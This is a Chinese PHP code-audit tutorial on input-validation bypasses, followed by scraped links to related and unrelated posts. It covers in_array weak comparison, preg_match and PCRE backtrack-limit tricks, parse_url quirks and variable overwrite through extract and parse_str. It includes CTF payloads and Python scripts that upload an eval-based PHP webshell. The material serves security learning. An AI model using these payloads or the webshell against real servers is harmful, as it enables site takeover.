全局变量与超全局变量

$GLOBALS

$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问,$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
$SERVER

$
SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

$ _ REQUEST

PHP $ _ REQUEST 用于收集HTML表单提交的数据。

$ _ POST

PHP $ _ POST 被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="post"。
$ _ GET

PHP $ _ GET 同样被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="get"。
$ _ FILES

$ _ ENV

$ _ COOKIE

$ _ SESSION 等。

in_array():

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

此时注意这个函数之间存在着强弱比较:当我们设置第三个参数为False的时候我们就存在了弱比较。

<?php
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));
echo '<br>';
//true
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 6)));
echo '<br>';
//false
echo "in_array('kaibro', array(0, 1, 2))----->";
var_dump(in_array('kaibro', array(0,1, 2)));
echo '<br>';
//true
echo "in_array('kaibro', array(1, 2))----->";
var_dump(in_array('kaibro', array(1, 2)));
echo '<br>';
//flase
echo "in_array('ddd', array('kai'=>0))------>";
var_dump(in_array('ddd', array('kai'=>0)));
echo "<br>";
//true
echo "in_array('ddd', array('kai'=>1))----->";
var_dump(in_array('ddd', array('kai'=>1)));
echo "<br>";
//false
echo"three magic options";
echo '<br>';
echo "in_array(array(), array('kai'=>false))---->";
var_dump(in_array(array(), array('kai'=>false)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>null))--->";
var_dump(in_array(array(), array('kai'=>null)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>0))---->";
var_dump(in_array(array(), array('kai'=>0)));
echo '<br>';
//false

输出:

in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->bool(true)
in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->bool(false)
in_array('kaibro', array(0, 1, 2))----->bool(true)
in_array('kaibro', array(1, 2))----->bool(false)
in_array('ddd', array('kai'=>0))------>bool(true)
in_array('ddd', array('kai'=>1))----->bool(false)
three magic options
in_array(array(), array('kai'=>false))---->bool(true)
in_array(array(), array('kai'=>null))--->bool(true)
in_array(array(), array('kai'=>0))---->bool(false)

filtervar ,pregmatch,parse_url

filter_var

使用特定的过滤器过滤一个变量:mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

当我们使用FILTERVALIDATEURL 过滤器来判断是否是一个合法的url。可以用javascript伪协议进行绕过,例如:

<?php

if(filter_var($_GET['url'],FILTER_VALIDATE_URL))
{
var_dump($_GET['url']); }
?>
parse_url

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

此功能的解析是这样的,他会将//之后的认为是主机名,/后面的认为是路径,当我们传入///之后它会返回一个false,这种能让我们绕过一些过滤。

<?php
var_dump(parse_url("//a/b")); #array(2) { ["host"]=> string(1) "a" ["path"]=> string(2) "/b" }
echo "<br>";
var_dump(parse_url('..//a/b/c:80')); #array(3) { ["host"]=> string(2) ".." ["port"]=> int(80) ["path"]=> string(10) "//a/b/c:80" }
echo "<br>";
var_dump(parse_url('///a.php?id=1')); #bool(false)
echo "<br>";

另外在php<5.3之前,他对于端口的解析是这样的,当端口号大于65535:

var_dump(parse_url('http://kaibro.tw:87878'));#array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }会加上,就跟chr()函数会对于255以上的自动重新开始计算转换字母。

但当php>5.3:var_dump(parse_url('http://kaibro.tw:87878'));#false

preg_match

搜索subject与pattern给定的正则表达式的一个匹配,preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

严格匹配时候,可以用%0a绕过测试代码:

<?php
$tests = $_GET['hhh'];
if(preg_match('/^test$/', $tests) && $_GET['hhh']!="test")
{
echo 123;
}
?>

我们传入:127.0.0.1/hhh=test%0A即可。

如果我们传递了数组进去,

<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test))
{
echo 'nonono';
die();
}
echo 'welcome';
file_put_contents('output', $test);
?>

http://127.0.0.1/1.php?txt[]=<>

在网站根目录下成功写入,虽然有警报但还是执行成功了。

Warning: preg_match() expects parameter 2 to be string, array given in D:\phpstudy_pro\WWW\1.php on line 3
welcome

正则引擎回溯导致正则匹配失效:

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
} if(!is_php($input)) {
// fwrite($f, $input); ...
}

常见的正则引擎,被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。

PHP使用的PCRE库就是NFA。

参考文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

php为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack _ limit,他的值为1000000即一百万,超过这个数值preg _ match就会返回false。

利用代码:

import requests
from io import BytesIO files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
} res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

ctf:

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
} if(empty($_FILES)) {
die(show_source(__FILE__));
} $user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303);

poc:

import requests
from io import BytesIO files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
} res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)

利用的就是此特性。

escapeshellarg,escapeshellcmd
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号
定义 :string escapeshellarg ( string $arg ) escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)

变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。

全局变量覆盖:

当registerglobals=Off时,我们使用$GET['id']来接收传递过来的值。

当registerglobals=On的时候,下一个程序可以直接使用$id来接受值,也可以用$GET['id']来接受传递过来的值。

$$

当我们使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

原理:

<?php

$a='aaa';
$aaa='xxx';
echo $$a; ?>

$$a=$($a)=$(aaa)='xxx'这就是具体的转换形式。

extract()函数导致的变量覆盖问题

用法:extract(array,extract_rules,prefix)

原理:当extractrules为空,或者是 EXTROVERWRITE,那么遇到冲突就会覆盖原变量。

<?php
$a = 1;
print_r("extract()执行之前:\$a = ".$a."<br />");
$b = array('a'=>'2');
extract($b);
print_r("extract()执行之后:\$a = ".$a."<br />");
?>

输出 :

extract()执行之前:$a = 1
extract()执行之后:$a = 2

代码二:

<?php
$id=1;
extract($_GET);
echo $id;
?>

http://127.0.0.1/1.php?id=444输出:444

ctf:

<?php

$flag = ‘xxx’;

extract($_GET);

if (isset($gift)) {

    $content = trim(file_get_contents($flag));

    if ($gift == $content) {

        echo ‘hctf{…}’;

    } else {

        echo ‘Oh..’;

    }

} 

?>

extract($_GET),无第二个参数,使用变量覆盖将gift和flag都重新覆盖,我们传递两个空即可,payload:?flag=&gift=

extract() 函数第二个参数修改为 extr_skip时,变量覆盖就不会发生了。

parse_str()变量覆盖

parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量,他会将字符串解析成多个变量。

<?php
$a='eee';
parse_str("a=fff");
print_r($a);
?>

输出:fff

题目:

<?php

error_reporting(0);

if (empty($_GET['id'])) {

    show_source(__FILE__);

    die();

} else {

    include (‘flag.php’);

    $a = “www.OPENCTF.com”;

    $id = $_GET['id'];

    @parse_str($id);

    if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {

        echo $flag;

    } else {

        exit(‘其实很简单其实并不难!’);

    }

}

?>

关于if的判断条件很简单可以算一下QNKCDZO的md5值我们可以利用科学技术法,而$a[0]就需要我们利用parse_str的变量覆盖漏洞了。

importrequestvariables()

将 GET/POST/Cookie 变量导入到全局作用域中。GP表示的是GET和POST。

<?php
$a = 1;
import_request_variables('GP');
print_r($a);
?>

http://127.0.0.1/1.php?a=8输出为8,发生变量覆盖,注意版本需要小于5.4.

preg_replace

由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,可能导致我们正则匹配失效,且在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。

intval

intval()在处理16进制时存在问题,当16进制+1时php会强制转换,然后再Intval后是正常的。

<?php
$password = $_GET['password'];
print($password + 1);
echo "<br>";
print(intval($password));
echo "<br>";
print(intval($password + 1));
?>

intval函数溢出绕过:

32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647,我们完全可以利用这个特性,因为只要大于这个数字返回的结果都是2147483647,那么我们就可以绕过一些waf了。

64 位系统上,最大带符号的 integer 值是 9223372036854775807。

<?php
$info =$_GET['number'];
if (!is_numeric($info)){
echo $info;
}
?>

url:http://127.0.0.1/1.php?number=111%00

output:111\0

ereg

ereg函数在匹配的时候遇到%00截断就会停止比较,isnumeric同理也可以,而且isnumeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。。

ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密码必须仅为0-9A-Za-z 并且还必须包含‘--’
这里利用ereg比较数组和字符串会返回-1 而strpos会返回null 构造?password[]=或者利用ereg的%00截断
构造输入为 password=1%00-- 即可绕过

0x十六进制

转换十六进制有时候能帮助我们逃过一些过滤,例如套避数字过滤,3735929054->0xdeadc0de

PHP代码审计学习(1)的更多相关文章

  1. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  2. PHP代码审计学习

    原文:http://paper.tuisec.win/detail/1fa2683bd1ca79c 作者:June 这是一次分享准备.自己还没有总结这个的能力,这次就当个搬运工好了~~ 0x01 工具 ...

  3. 代码审计学习01-in_array() 函数缺陷

    一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...

  4. PHPCMSV9版本代码审计学习

    学习代码审计,自己简单记录一下.如有错误望师傅斧正. PHPCMS预备知识 PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块 ...

  5. 2020/1/27代码审计学习之SQL注入漏洞

    PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...

  6. PHP代码审计学习-PHP-Audit-Labs-day1

    0x01 前言 偶然间看到红日团队的PHP代码审计教程,想起之前立的flag,随决定赶紧搞起来.要不以后怎么跟00后竞争呢.虽然现在PHP代码审计不吃香,但是php代码好歹能看懂,CTF中也经常遇到, ...

  7. PHP代码审计学习-php安全基础

    PHP代码审计-php安全基础 php.ini选项 register_globals php>=4.2.0,php.ini 的 register_globals 选项的默认值预设为 Off,当 ...

  8. ASP代码审计学习笔记 -5.文件下载漏洞

    文件下载漏洞 漏洞代码: <% function download(f,n) on error resume next Set S=CreateObject("Adodb.Stream ...

  9. ASP代码审计学习笔记 -4.命令执行漏洞

    命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...

  10. ASP代码审计学习笔记 -3.上传漏洞

    1.ASP上传过程抓包分析: POST /4.asp HTTP/1.1 Host: 192.168.1.102 User-Agent: Mozilla/5.0 (Windows NT 10.0; WO ...

随机推荐

  1. CocosCreator游戏开发(四)实现摇杆控制角色功能

    时隔3年,我又开始继续写这个系列的帖子了,也不知道是会写完全系列,还是再次夭折. 废话不多.直接开始主题了 主要实现的功能点包含这些内容:通过摇杆控制角色进行八方位移动,并按照各方位播放对应移动动画 ...

  2. 第六篇Scrum冲刺博客--Interesting-Corps

    第六篇Scrum冲刺博客 站立式会议 1.会议照片 2.队友完成情况 团队成员 昨日完成 今日计划 鲍鱼铭 搜索页面以及音乐详情页面数据导入及测试 各界面数据请求云函数设计及实现 叶学涛 进行页面的优 ...

  3. HM16.0 TAppEncoder

    参考:  https://www.cnblogs.com/tiansha/p/6458573.html https://blog.csdn.net/liangjiubujiu/article/deta ...

  4. you-get 下载B站上的视频

    安装you-get pip install you-get 安装好后,我们可以查看一下you-get的参数 you-get -h 视频下载 单个视频下载 CMD下载 you-get -o /data/ ...

  5. .sync 修饰符

    vue 修饰符sync的功能是:当一个子组件改变了一个 prop 的值时,这个变化也会同步到父组件中所绑定 //写一个(子)组件Child.vue <template> <div c ...

  6. 区块链入门到实战(31)之Solidity – 第一个程序

    为简单起见,我们使用在线Solidity开发工具Remix IDE编译和运行Solidity程序. 第1步 – 在File explorers选项卡下,新建一个test1.sol文件,代码如下: 示例 ...

  7. C/C++ MFC

    C++ & MFC(转载)   C++是一种静态数据类型检查的.支持多重编程范式的程序设计语言,支持过程化程序设计.数据抽象.面向对象程序设计.制作图标等泛型程序设计的多种程序设计风格. MF ...

  8. e3mall商城总结12之购物车的实现、以及购物车小计问题、json406报错

    说在前面的话 1.本节主要讲了e3mall购物车的实现方法,我搭建的项目和系统购物车有一些区别,因此这里需要说一下.系统搭建的项目在未登陆的情况下也可以通过cookie进行加入购物车,当用户要下单的时 ...

  9. manualresetevent的用法学习

    ManualResetEvent 允许线程通过发信号互相通信. 通常,此通信涉及一个线程在其他线程进行之前必须完成的任务. 当一个线程开始一个活动(此活动必须完成后,其他线程才能开始)时,它调用 Re ...

  10. Rng(求逆元)

    Problem Description Avin is studying how to synthesize data. Given an integer n, he constructs an in ...